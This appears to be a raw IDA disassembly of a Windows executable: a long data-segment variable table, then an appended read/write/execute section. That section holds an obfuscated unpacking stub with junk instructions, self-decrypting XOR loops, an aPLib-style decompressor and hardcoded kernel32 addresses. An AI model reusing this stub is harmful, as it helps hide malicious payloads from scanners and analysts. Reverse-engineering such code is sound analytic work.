dword_42F77C	dd 0		dword_42F780	dd 0							; sub_40853B+CEr
dword_42F784	dd 0							; sub_406E9A+AB7r ...
dword_42F788	dd 0							; seg000:00401C2Br ...
dword_42F78C	dd 0							; sub_406E9A+674w ...
dword_42F790	dd 0							; sub_406E9A+C00r
dword_42F794	dd 0							; seg000:00405336r ...
dword_42F798	dd 0							; sub_406E9A+A00r ...
dword_42F79C	dd 0							; sub_4060A6+B3r ...
dword_42F7A0	dd 0							; sub_4018CA+29Fr ...
dword_42F7A4	dd 0							; sub_403FCB+39Fr ...
dword_42F7A8	dd 0							; sub_406E9A+B28r
dword_42F7AC	dd 0							; sub_4018CA+4Fr ...
dword_42F7B0	dd 0							; sub_406E9A+B1Br
dword_42F7B4	dd 0							; sub_406E9A+ADr ...
dword_42F7B8	dd 0							; sub_406E9A+1CAr
		align 10h
dword_42F7C0	dd 0							; sub_406E9A+91Dr ...
dword_42F7C4	dd 0							; sub_406E9A+EAr ...
dword_42F7C8	dd 0							; sub_406E9A+12Bw ...
dword_42F7CC	dd 0							; sub_407B27+1Cr
dword_42F7D0	dd 0							; sub_406E9A:loc_4070EFw ...
dword_42F7D4	dd 0							; sub_407B27+50r
dword_42F7D8	dd 0							; sub_406E9A:loc_4071C9w ...
dword_42F7DC	dd 0							; sub_407B27+84r
dword_42F7E0	dd 0							; sub_407B27:loc_407BD7r
dword_42F7E4	dd 0							; sub_407B27+B8r
dword_42F7E8	dd 0							; sub_407B27:loc_407C0Br
dword_42F7EC	dd 0							; sub_407B27+ECr
dword_42F7F0	dd 0							; sub_406E9A+8D1w ...
dword_42F7F4	dd 0							; sub_407B27+120r
dword_42F7F8	dd 0							; sub_407B27:loc_407C73r ...
dword_42F7FC	dd 0							; sub_407B27+154r
dword_42F800	dd 0							; sub_407B27:loc_407CA7r ...
dword_42F804	dd 0							; sub_407B27+188r
dword_42F808	dd 0							; sub_407B27:loc_407CDBr
dword_42F80C	dd 0							; sub_407B27+1BCr
dword_42F810	dd 0							; sub_407B27:loc_407D0Fr
dword_42F814	dd 0							; sub_407B27+1F0r
dword_42F818	dd 0							; sub_407B27:loc_407D43r
dword_42F81C	dd 0							; sub_407B27+224r
dword_42F820	dd 0							; sub_407B27:loc_407D77r
dword_42F824	dd 0							; sub_407B27+258r
dword_42F828	dd 0							; sub_407B27:loc_407DABr
dword_42F82C	dd 0							; sub_407B27+28Cr
dword_42F830	dd 0							; sub_407B27:loc_407DDFr
dword_42F834	dd 0							; sub_407B27+2C0r
		dd 81h dup(0)
dword_42FA3C	dd 5 dup(0)	dword_42FA50	dd 0							; seg000:00408BA4r
dword_42FA54	dd 0							; seg000:00408B87r ...
dword_42FA58	dd 0							; seg000:00408D28o
dword_42FA5C	dd 0		dword_42FA60	dd 0Dh dup(0)	dword_42FA94	dd 0							; seg000:00408C3Cr ...
		dd 0
dword_42FA9C	dd 0Eh dup(0)	dword_42FAD4	dd 1000h dup(0)						; sub_4096B5o ...
dword_433AD4	dd 0							; sub_4096B5+Eo ...
dword_433AD8	dd 10h dup(0)	dword_433B18	dd 0							; seg000:00409561r ...
		dd 5 dup(0)
dword_433B30	dd 0							; seg000:0040BF23r
		dd 2D9h	dup(0)
dword_434698	dd 0							; seg000:0040954Ao ...
		dd 7Fh dup(0)
dword_434898	dd 0							; sub_413194+40w ...
dword_43489C	dd 0							; sub_405C33:loc_405C7Ar ...
dword_4348A0	dd 0							; sub_413194+3Ar ...
dword_4348A4	dd 0							; sub_403FCB+7Ew ...
dword_4348A8	dd 0							; seg000:00406468r ...
dword_4348AC	dd 0							; sub_40571E+34Ew ...
byte_4348B0	db 0			; DATA XREF: sub_40B07B+91o
					; seg000:0040E586r ...
		align 4
		dd 265h	dup(0)
		db 0
byte_435249	db 3 dup(0)		; DATA XREF: seg002:off_4224E4o
		dd 4141h dup(0)
dword_445750	dd 610Eh dup(0)	dword_45DB88	dd 0							; seg000:0040AB5Aw ...
		align 10h
dword_45DB90	dd 0		dword_45DB94	dd 20h dup(0)						; seg000:0040AFDEo ...
dword_45DC14	dd 10h dup(0)						; seg000:0040BC78o
dword_45DC54	dd 24h dup(0)	dword_45DCE4	dd 0							; seg000:0040AFF5w ...
dword_45DCE8	dd 0				dd 3 dup(0)
dword_45DCF8	dd 0		dword_45DCFC	dd 0							; seg000:0040B5D1r
byte_45DD00	db 0			; DATA XREF: sub_40B1E3+28r
					; sub_40B1E3+30o
		align 8
dword_45DD08	dd 0							; seg000:0040AFA9r ...
dword_45DD0C	dd 0							; seg000:0040BC1Cr
dword_45DD10	dd 17h dup(0)						; sub_411274+131o ...
dword_45DD6C	dd 7 dup(0)						; seg000:004120B2o
dword_45DD88	dd 0							; sub_4132C0+19o
dword_45DD8C	dd 78h dup(0)	dword_45DF6C	dd 0							; sub_4115EE+4Dr ...
dword_45DF70	dd 17h dup(0)						; sub_411ED9+12Do
dword_45DFCC	dd 80h dup(0)						; sub_41152F+7Do ...
byte_45E1CC	db 0			; DATA XREF: sub_4115EE+29r
					; sub_4115EE+34w
		align 10h
dword_45E1D0	dd 80h dup(0)						; sub_411845+88o ...
dword_45E3D0	dd 81h dup(0)						; sub_41114B+50o ...
dword_45E5D4	dd 84h dup(0)	dword_45E7E4	dd 0				dd 6 dup(0)
dword_45E800	dd 0							; sub_414D28+91w
dword_45E804	dd 0							; sub_414ECE:loc_414F4Aw ...
dword_45E808	dd 0							; sub_41665B:loc_4166F5w ...
dword_45E80C	dd 0		dword_45E810	dd 0		dword_45E814	dd 0		dword_45E818	dd 0		dword_45E81C	dd 0		dword_45E820	dd 0							; sub_41A963+91w
dword_45E824	dd 0							; seg000:0040AE29r ...
		dd 0
dword_45E82C	dd 0							; sub_41D499+9r ...
dword_45E830	dd 0		dword_45E834	dd 0							; sub_41D867+4r ...
		dd 0
dword_45E83C	dd 0				dd 0
byte_45E844	db 0			; DATA XREF: sub_4158D9+2Dw
					; sub_41B20B+5r
		align 4
dword_45E848	dd 0		dword_45E84C	dd 0							; sub_4158D9+8Bw
dword_45E850	dd 0							; sub_41A8AA:loc_41A8BCr ...
		align 8
dword_45E858	dd 0		dword_45E85C	dd 0				dd 0
dword_45E864	dd 0							; sub_41556F:loc_41566Br ...
dword_45E868	dd 0		dword_45E86C	dd 0							; sub_4181AA+1Ar ...
byte_45E870	db 0			; DATA XREF: sub_4180A6+3r
					; sub_4180A6+98r ...
		align 4
dword_45E874	dd 0							; sub_418288+21w ...
byte_45E878	db 0			; DATA XREF: sub_418288+51w
		align 4
dword_45E87C	dd 0							; sub_418859+3Ar ...
dword_45E880	dd 0							; sub_418859+43r ...
dword_45E884	dd 0							; sub_418625+5r
dword_45E888	dd 0		dword_45E88C	dd 0							; seg000:00419E4Dw ...
		dd 2 dup(0)
dword_45E898	dd 0							; sub_415223+9Dr ...
		dd 3 dup(0)
dword_45E8A8	dd 0							; sub_415A89+BFr ...
		align 10h
dword_45E8B0	dd 0							; sub_41A1E9+4w ...
dword_45E8B4	dd 0							; sub_41A6CE+46w ...
dword_45E8B8	dd 41h dup(0)	dword_45E9BC	dd 0							; sub_41ABB0+23w ...
dword_45E9C0	dd 0		dword_45E9C4	dd 0							; sub_416910+154w ...
dword_45E9C8	dd 0							; seg000:loc_41B2F1w
dword_45E9CC	dd 0		word_45E9D0	dw 0			; DATA XREF: sub_41BE6F+1Ao
					; sub_41BE6F+46r
byte_45E9D2	db 0			; DATA XREF: sub_41BE6F+39r
		align 4
dword_45E9D4	dd 7 dup(0)	dword_45E9F0	dd 0							; sub_41BE6F+5Co
dword_45E9F4	dd 0		dword_45E9F8	dd 0		dword_45E9FC	dd 0		dword_45EA00	dd 0							; sub_41BF92+38r ...
		align 8
dword_45EA08	dd 0							; sub_41C1F2+63w ...
		align 10h
dword_45EA10	dd 0							; sub_41C1F2+46r
dword_45EA14	dd 10h dup(0)	word_45EA54	dw 0			; DATA XREF: sub_41C450+A8r
word_45EA56	dw 0			; DATA XREF: sub_41C1F2+54r
					; sub_41C450+DBr ...
word_45EA58	dw 0			; DATA XREF: sub_41C450+CAr
word_45EA5A	dw 0			; DATA XREF: sub_41C450+D3r
					; sub_41C450:loc_41C542r
word_45EA5C	dw 0			; DATA XREF: sub_41C450+C0r
word_45EA5E	dw 0			; DATA XREF: sub_41C450+B8r
word_45EA60	dw 0			; DATA XREF: sub_41C450+B0r
word_45EA62	dw 0			; DATA XREF: sub_41C450+9Er
dword_45EA64	dd 0		dword_45EA68	dd 10h dup(0)	word_45EAA8	dw 0			; DATA XREF: sub_41C450+46r
word_45EAAA	dw 0			; DATA XREF: sub_41C1F2:loc_41C269r
					; sub_41C450+78r ...
word_45EAAC	dw 0			; DATA XREF: sub_41C450+67r
word_45EAAE	dw 0			; DATA XREF: sub_41C450+70r
					; sub_41C450:loc_41C4D4r
word_45EAB0	dw 0			; DATA XREF: sub_41C450+5Dr
word_45EAB2	dw 0			; DATA XREF: sub_41C450+55r
word_45EAB4	dw 0			; DATA XREF: sub_41C450+4Dr
word_45EAB6	dw 0			; DATA XREF: sub_41C450+3Er
dword_45EAB8	dd 0		dword_45EABC	dd 0							; sub_41C1F2:loc_41C33Er ...
dword_45EAC0	dd 0		dword_45EAC4	dd 0							; seg000:0041C7ACw ...
dword_45EAC8	dd 0							; seg000:loc_41C7CDr
dword_45EACC	dd 0							; seg000:0041C7DEr
dword_45EAD0	dd 0		dword_45EAD4	dd 0							; sub_41D327+6Do
dword_45EAD8	dd 0							; sub_41D327+44o
dword_45EADC	dd 0							; sub_41D327+37o
dword_45EAE0	dd 0							; sub_41D327+51o
		align 8
dword_45EAE8	dd 0							; sub_41D8D5+48w ...
byte_45EAEC	db 0			; DATA XREF: sub_40388Fr sub_40388F+9w ...
		align 10h
dword_45EAF0	dd 0							; sub_416A80+14r ...
		align 10h
dword_45EB00	dd 400h	dup(0)						; seg002:0042D7F0o
dword_45FB00	dd 0							; sub_4167D9+56r ...
		dd 7 dup(0)
dword_45FB20	dd 0							; sub_419940+75r ...
dword_45FB24	dd 3Fh dup(0)	dword_45FC20	dd 0							; sub_419A19+Cr ...
dword_45FC24	dd 0							; seg000:0041A0B5w ...
		align 10h
dword_45FC30	dd 3 dup(0)						; seg000:0041A1C1o ...
dword_45FC3C	dd 0							; seg000:0041A1ADw ...
byte_45FC40	db 0			; DATA XREF: seg000:loc_41A39Bw
					; seg000:loc_41A3B8w ...
		align 4
		dd 3Fh dup(0)
byte_45FD40	db 0			; DATA XREF: seg000:0041A0ACo
					; seg000:0041A0FFo ...
byte_45FD41	db 0			; DATA XREF: sub_4153D8+5Dr
					; seg000:0041A0F0w ...
		align 4
		dd 40h dup(0)
dword_45FE44	dd 0							; seg000:0041A17Bw ...
dword_45FE48	dd 0							; sub_4171EC+5r ...
dword_45FE4C	dd 0							; sub_416BB8+259r ...
dword_45FE50	dd 0							; sub_416BB8+310w ...
dword_45FE54	dd 0							; sub_416BB8+22Cr ...
dword_45FE58	dd 0							; sub_416B8Dr ...
dword_45FE5C	dd 0							; sub_416B8D+8r ...
dword_45FE60	dd 0							; sub_413ED3+21r ...
dword_45FE64	dd 0							; sub_41A852+Fr ...
dword_45FE68	dd 0							; sub_41D499r
dword_45FE6C	dd 0							; sub_41A414+11w ...
dword_45FE70	dd 0							; sub_414863:loc_4148A5r ...
dword_45FE74	dd 0							; sub_414863+Cr ...
byte_45FE78	db 0			; DATA XREF: sub_41E154+15r
					; sub_41E154+1Ew
		align 200h
seg002		ends

; Section 4. (virtual address 00060000)
; Virtual size			: 0001B000 ( 110592.)
; Section size in file		: 0001B000 ( 110592.)
; Offset to raw	data for section: 00060000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 460000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 90h
; ---------------------------------------------------------------------------
		pusha
		call	loc_46000A
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		jmp	short loc_46000E
; ---------------------------------------------------------------------------


loc_46000A:				; CODE XREF: .data:00460002j
		pop	ebp
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------


loc_46000E:				; CODE XREF: .data:00460008j
		call	loc_460014
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_460014:				; CODE XREF: .data:loc_46000Ej
		pop	ebp
		mov	ebx, 0FFFFFFEDh
		add	ebx, ebp
		sub	ebx, 60000h
		cmp	byte ptr [ebp+4Dh], 1
		jnz	short loc_460034
		mov	esi, [esp+28h]
		cmp	esi, 1
		mov	[ebp+4Eh], ebx
		jnz	short loc_460065


loc_460034:				; CODE XREF: .data:00460026j
		lea	eax, [ebp+53h]
		push	eax
		push	ebx
		push	dword ptr [ebp+9EDh]
		lea	eax, [ebp+35h]
		push	eax
		jmp	loc_4600CA
; ---------------------------------------------------------------------------
		dd 3D0000h, 30000h, 7C809AE4h, 3FE000h,	7C801D77h, 7C80B6A1h
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_460065:				; CODE XREF: .data:00460032j
		mov	eax, 23A5C0F8h
		push	eax
		push	eax
		add	eax, [ebp+4Eh]
		pop	ebx
		test	eax, eax
		jz	short loc_460090
		jmp	short loc_460077
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_460077:				; CODE XREF: .data:00460074j
		cmp	ebx, 23A5C0F8h
		jz	short loc_4600B4
		xor	edx, edx
		push	esi
		push	0
		push	esi
		push	dword ptr [ebp+4Eh]
		call	eax
		pop	esi
		cmp	esi, 0
		jnz	short loc_4600B4


loc_460090:				; CODE XREF: .data:00460072j
		xor	edx, edx
		mov	eax, [ebp+41h]
		test	eax, eax
		jz	short loc_4600A0
		push	edx
		push	edx
		push	dword ptr [ebp+35h]
		call	eax


loc_4600A0:				; CODE XREF: .data:00460097j
		mov	eax, [ebp+35h]
		test	eax, eax
		jz	short loc_4600B4
		push	8000h
		push	0
		push	dword ptr [ebp+35h]
		call	dword ptr [ebp+3Dh]


loc_4600B4:				; CODE XREF: .data:0046007Dj
					; .data:0046008Ej ...
		pop	ebx
		or	ebx, ebx
		popa
		jnz	short loc_4600C0
		push	1
		pop	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4600C0:				; CODE XREF: .data:004600B8j
		xor	eax, eax
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4600CA:				; CODE XREF: .data:00460043j
		jmp	loc_4600DC
; ---------------------------------------------------------------------------
		db 1
		dd 3D94E7A6h, 39008332h, 0F52CDF7Eh
; ---------------------------------------------------------------------------


loc_4600DC:				; CODE XREF: .data:loc_4600CAj
		call	sub_4600F0
		sti
		sbb	[ecx+56h], dh
		xlat
		les	ebp, [ebp-56CF8C1Eh]
		db	2Eh
		iret
; ---------------------------------------------------------------------------
		dw 655Ch

; =============== S U B	R O U T	I N E =======================================



sub_4600F0	proc near		; CODE XREF: .data:loc_4600DCp
		push	eax
		mov	dx, 9FF4h
		pop	edi
		pop	ebx
		push	7CDDC760h
		mov	ecx, edx
		pop	edi
		add	ebx, 8B5h
		add	ecx, 1DA1EE24h
		mov	esi, 5F506B42h
		xor	esi, 5F506AB9h
		movzx	edi, bx


loc_460119:				; CODE XREF: .data:0046019Ej
		mov	eax, [ebx]
		adc	dx, 0F3FDh
		xor	eax, 6AEEFF93h
		sbb	dx, 689Fh
		sub	eax, 5853CBD0h
		call	near ptr loc_460140+5
		mov	ebx, 971631D8h
		test	[ebp-5Eh], ch
		xor	esi, eax


loc_460140:				; CODE XREF: sub_4600F0+41p
		imul	ebp, esi, 0E9251C8Fh
sub_4600F0	endp ; sp-analysis failed

		or	eax, 0A1000000h
		mov	byte ptr [edi+2352DDB4h], 20h
		fstp	dword ptr [esi+5F954C7Fh]
		sub	eax, 16A757C9h
		mov	edx, 60842A02h
		push	eax
		mov	dh, 0A6h
		pop	dword ptr [ebx]
		mov	edi, ecx
		sub	ebx, 1DA8D767h
		add	ebx, 1DA8D763h
		xor	di, 382Dh
		sub	esi, 1
		jnz	loc_46019B
		movzx	edx, bx
		jmp	loc_4601AE
; ---------------------------------------------------------------------------
		dd 8661C86Bh, 129D7447h, 5E99E0E3h
; ---------------------------------------------------------------------------
		aas
		or	al, 55h


loc_46019B:				; CODE XREF: .data:0046017Ej
		mov	di, cx
		jmp	loc_460119
; ---------------------------------------------------------------------------
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h


loc_4601AE:				; CODE XREF: .data:00460187j
		add	edx, 372E356Dh
		call	near ptr loc_4601BB+5
		xor	esi, eax


loc_4601BB:				; CODE XREF: .data:004601B4p
		imul	ebp, esi, 0F251C8Fh
		mov	bh, 0D2h
		pop	esi
		mov	dh, ch
		add	esi, 7DDh
		jmp	loc_4601E5
; ---------------------------------------------------------------------------
		db 4Ch,	95h, 0AAh
		dd 7611389Bh, 24DE477h,	4E495013h, 5A057C6Fh
		db 8Bh
; ---------------------------------------------------------------------------


loc_4601E5:				; CODE XREF: .data:004601CCj
		xor	ebx, ebx
		add	edx, 3CED04BDh


loc_4601ED:				; CODE XREF: .data:00460244j
		mov	edi, [esi+ebx]
		sbb	ch, 0Ah
		sub	edi, 6D3AC53Eh	; CODE XREF: .data:00460257j
					; .data:0046025Bj
		movsx	eax, ax
		xor	edi, 36130F9Fh
		and	cx, 0EDDCh
		sub	edi, 48DA48ECh
		jz	loc_460217
		mov	cx, 0A59Dh


loc_460217:				; CODE XREF: .data:0046020Dj
		mov	[esi+ebx], edi
		mov	edx, 3816355Eh
		sbb	dh, 5Bh
		sub	ebx, 0DFE7D1h
		push	esi
		push	2E4B9DD3h
		adc	eax, 1801E11Ah
		pop	eax
		pop	edx
		add	ebx, 0DFE7CDh
		mov	dl, 7Ah
		cmp	ebx, 0FFFFF8B4h
		jnz	loc_4601ED
		mov	ax, 863Bh
		xor	dh, 61h
		call	sub_460261
		inc	edi
		jz	short near ptr loc_4601F3+3
		adc	ah, bl
		loopne	near ptr loc_4601F3+3
		pop	esi
		aas
		or	al, 55h

; =============== S U B	R O U T	I N E =======================================



sub_460261	proc near		; CODE XREF: .data:00460251p
		xor	si, 8236h
		pop	edi
		add	edx, 313ACDD3h
		add	edi, 73Dh
		push	1ABh
		pop	eax


loc_460279:				; CODE XREF: sub_460261+7Ej
		mov	ecx, [edi]
		mov	ebx, 548EEA40h
		sub	ecx, 7065472Dh
		ja	loc_460298
		push	21BCB4CAh
		jb	$+6
		pop	esi


loc_460298:				; CODE XREF: sub_460261+25j
		xor	ecx, 309D3462h
		mov	dh, 3Fh
		xor	ecx, 7EB159F3h
		mov	dx, cx
		mov	[edi], ecx
		mov	edx, 43E0601Eh
		sub	edi, 2
		jle	loc_4602BB
		mov	bl, cl


loc_4602BB:				; CODE XREF: sub_460261+52j
		dec	edi
		dec	edi
		mov	bx, dx
		sub	eax, 1
		jnz	loc_4602DC
		mov	bh, ah
		jmp	loc_4602EB
; ---------------------------------------------------------------------------
		dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch
; ---------------------------------------------------------------------------


loc_4602DC:				; CODE XREF: sub_460261+62j
		movzx	edx, dx
		jmp	loc_460279
; ---------------------------------------------------------------------------
		dd 2EA93073h
		db 0CFh, 5Ch, 65h
; ---------------------------------------------------------------------------


loc_4602EB:				; CODE XREF: sub_460261+6Aj
		call	sub_4602F6
		cmpsw
		push	esp
		std
		repne inc ebx
sub_460261	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4602F6	proc near		; CODE XREF: sub_460261:loc_4602EBp
		jmp	sub_46030E
sub_4602F6	endp

; ---------------------------------------------------------------------------
		db 9Fh
		dd 0BB4AB5ECh, 971631D8h, 33A26D84h, 8FEE69F0h
; ---------------------------------------------------------------------------
		sbb	al, 25h

; =============== S U B	R O U T	I N E =======================================



sub_46030E	proc near		; CODE XREF: sub_4602F6j
		pop	esi
		push	5F81CF08h
		jmp	loc_460325
; ---------------------------------------------------------------------------
		mov	ah, 0DDh
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait


loc_460325:				; CODE XREF: sub_46030E+6j
		pop	ecx
		add	esi, 6A6h
		mov	bx, 1502h
		mov	eax, 1688E850h
		sub	eax, 1688E6C8h
		mov	bx, si


loc_46033E:				; CODE XREF: sub_46030E+61j
		mov	edi, [esi]
		mov	ebx, edx
		xor	edi, 1ABF0653h
		mov	dl, 5
		add	edi, 0E752B90h
		or	ch, 0Ah
		sub	edi, 1C899C89h
		mov	cx, di
		push	edi
		mov	cl, 0C1h
		pop	dword ptr [esi]
		sub	esi, 2
		mov	dx, ax
		dec	esi
		dec	esi
		movzx	ecx, dx
		sub	eax, 1
		jnz	loc_46033E
		sub	dx, 3FD1h
		xor	edi, 29EA1265h
		call	sub_460394
		jmp	short near ptr loc_4603CD+2
sub_46030E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0E1h
		dd 1DF4C706h, 19606392h, 0D58CBFDEh

; =============== S U B	R O U T	I N E =======================================



sub_460394	proc near		; CODE XREF: sub_46030E+72p
		push	ecx
		pop	esi
		pop	ebx
		push	ebx
		jnp	loc_4603B3
		jmp	loc_4603B3
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h
		db 0B5h, 4Ah, 0BBh
; ---------------------------------------------------------------------------


loc_4603B3:				; CODE XREF: sub_460394+4j
					; sub_460394+Aj
		pop	ecx
		add	ebx, 60Fh
		jmp	loc_4603CB
; ---------------------------------------------------------------------------
		test	[ebp-5Eh], ch
		xor	esi, eax
		imul	ebp, esi, 0FA251C8Fh
		stosd


loc_4603CB:				; CODE XREF: sub_460394+26j
		xor	edx, edx


loc_4603CD:				; CODE XREF: sub_46030E+77j
		mov	eax, [ebx+edx]
		mov	ecx, 0AB86895h
		sub	eax, 7711B656h
		push	38F48538h
		call	near ptr loc_4603F0+1
		in	al, 4Dh
		add	dl, [ebx]	; CODE XREF: .data:004603FDj
		push	eax
		dec	ecx
		dec	esi
		outsd
		jl	short near ptr loc_4603F3+1
		pop	edx


loc_4603F0:				; CODE XREF: sub_460394+4Cp
		mov	esp, [esi-7Fh]
sub_460394	endp ; sp-analysis failed



loc_4603F3:				; CODE XREF: sub_460394+59j
		mov	dword ptr [ebp-7EA0A615h], 9D06D7F0h
		jz	short near ptr loc_4603E7+1
		adc	eax, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 5Fh
		dd 7B0A75ACh, 57D6F198h, 0F3622D44h, 4FAE29B0h,	0E881E5DCh
		dd 603B9BC4h, 6686DE81h, 0B1500D65h, 13048FB4h,	14E8h
		dd 6A550C00h, 36D1F85Bh, 0C20DA437h, 0E0910D3h,	1AC53C2Fh
		dd 0D4C6814Bh, 5E66C407h, 0EA835957h, 6800F01h,	81000000h
		dd 0C199CD1h, 4A4A4A49h, 0DC9121BEh, 0D8FA812Bh, 0FFFFFFAh
		dd 0FFFF6085h, 0F9BF0FFFh, 0E8h, 895B5D00h, 895B5B5Dh
		dd 89585F5Dh, 40D85h, 7D805800h, 5975015Ah, 4258589h, 8D600000h
		dd 33503345h, 30FF64C0h, 8B208964h, 2E4E8C3h, 1CEB0000h
		dd 824648Bh, 68F6764h, 0C4830000h, 458D6104h, 55FF5063h
		dd 2DEE85Fh, 9EB0000h, 68F6764h, 0C4830000h, 1BEB24h, 460048h
		dd 7C80B6A1h, 6E72656Bh, 32336C65h, 6C6C642Eh, 29CE800h
		dd 8DFC0000h, 8CB5h, 0C00BAD00h, 0F88B1B74h, 0CB9h, 0EBA4F300h
		dd 40100010h, 43442800h, 0A2111932h, 0C58B4B80h, 29A5896Ah
		dd 6A000004h, 10006840h, 0B5FF0000h, 408h, 95FF006Ah, 3F0h
		dd 1CC8589h, 9D8B0000h,	400h, 40D9D03h,	53500000h, 104E8h
		dd 68406A00h, 1000h, 408B5FFh, 6A0000h,	3F095FFh, 85890000h
		dd 431h, 1D08589h, 67640000h, 890000A1h, 42D85h, 5B558B00h
		dd 1D0858Bh, 2890000h, 408858Bh, 42890000h, 9F858D04h
		dd 8B000003h, 42895540h, 0EC858B08h, 89000003h,	858B1042h
		dd 3E8h, 8B144289h, 1CC95h, 1F8BB00h, 7C8B0000h, 0FF0B0C1Ah
		dd 4C8B1E74h, 0C90B101Ah, 0BD031174h, 1D0h, 141A748Bh
		dd 0F9C1F203h, 83A5F302h, 0DAEB28C3h, 1CC858Bh,	8B500000h
		dd 1D095h, 188B5200h, 858BDA03h, 3E4h, 858B0389h, 3E8h
		dd 8B044389h, 3EC85h, 8438900h,	468B5E5Fh, 89C70304h, 1C785h
		dd 5B558B00h, 1C7858Bh,	42890000h, 0D9D8D0Ch, 53000004h
		dd 6A006Ah, 8B57016Ah, 0DF03085Eh, 80006853h, 6A0000h
		dd 0F495FF56h, 68000003h, 3FE000h, 3A0000C3h, 3D000000h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pusha
		push	ebp
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		cld
		mov	dl, 80h


loc_460657:				; CODE XREF: .data:loc_460666j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_46065D:				; CODE XREF: .data:004606BBj
					; .data:00460700j ...
		add	dl, dl
		jnz	short loc_460666
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_460666:				; CODE XREF: .data:0046065Fj
		jnb	short loc_460657
		add	dl, dl
		jnz	short loc_460671
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_460671:				; CODE XREF: .data:0046066Aj
		jnb	short loc_4606BD
		xor	eax, eax
		add	dl, dl
		jnz	short loc_46067E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46067E:				; CODE XREF: .data:00460677j
		jnb	loc_46075A
		add	dl, dl
		jnz	short loc_46068D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46068D:				; CODE XREF: .data:00460686j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_460698
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_460698:				; CODE XREF: .data:00460691j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4606A3
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4606A3:				; CODE XREF: .data:0046069Cj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4606AE
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4606AE:				; CODE XREF: .data:004606A7j
		adc	eax, eax
		jz	short loc_4606B8
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4606B8:				; CODE XREF: .data:004606B0j
		mov	[edi], al
		inc	edi
		jmp	short loc_46065D
; ---------------------------------------------------------------------------


loc_4606BD:				; CODE XREF: .data:loc_460671j
		mov	eax, 1


loc_4606C2:				; CODE XREF: .data:loc_4606D6j
		add	dl, dl
		jnz	short loc_4606CB
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4606CB:				; CODE XREF: .data:004606C4j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4606D6
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4606D6:				; CODE XREF: .data:004606CFj
		jb	short loc_4606C2
		sub	eax, 2
		jnz	short loc_460705
		mov	ecx, 1


loc_4606E2:				; CODE XREF: .data:loc_4606F6j
		add	dl, dl
		jnz	short loc_4606EB
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4606EB:				; CODE XREF: .data:004606E4j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4606F6
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4606F6:				; CODE XREF: .data:004606EFj
		jb	short loc_4606E2
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_46065D
; ---------------------------------------------------------------------------


loc_460705:				; CODE XREF: .data:004606DBj
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_460713:				; CODE XREF: .data:loc_460727j
		add	dl, dl
		jnz	short loc_46071C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46071C:				; CODE XREF: .data:00460715j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_460727
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_460727:				; CODE XREF: .data:00460720j
		jb	short loc_460713
		cmp	eax, 7D00h
		jnb	short loc_46074A
		cmp	eax, 500h
		jb	short loc_460745
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_46065D
; ---------------------------------------------------------------------------


loc_460745:				; CODE XREF: .data:00460735j
		cmp	eax, 7Fh
		ja	short loc_46074D


loc_46074A:				; CODE XREF: .data:0046072Ej
		add	ecx, 2


loc_46074D:				; CODE XREF: .data:00460748j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_46065D
; ---------------------------------------------------------------------------


loc_46075A:				; CODE XREF: .data:loc_46067Ej
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_460776
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_46065D
; ---------------------------------------------------------------------------


loc_460776:				; CODE XREF: .data:00460762j
		pop	ebp
		sub	edi, [ebp+0Ch]
		mov	[ebp-4], edi
		popa
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		dw 261Ch
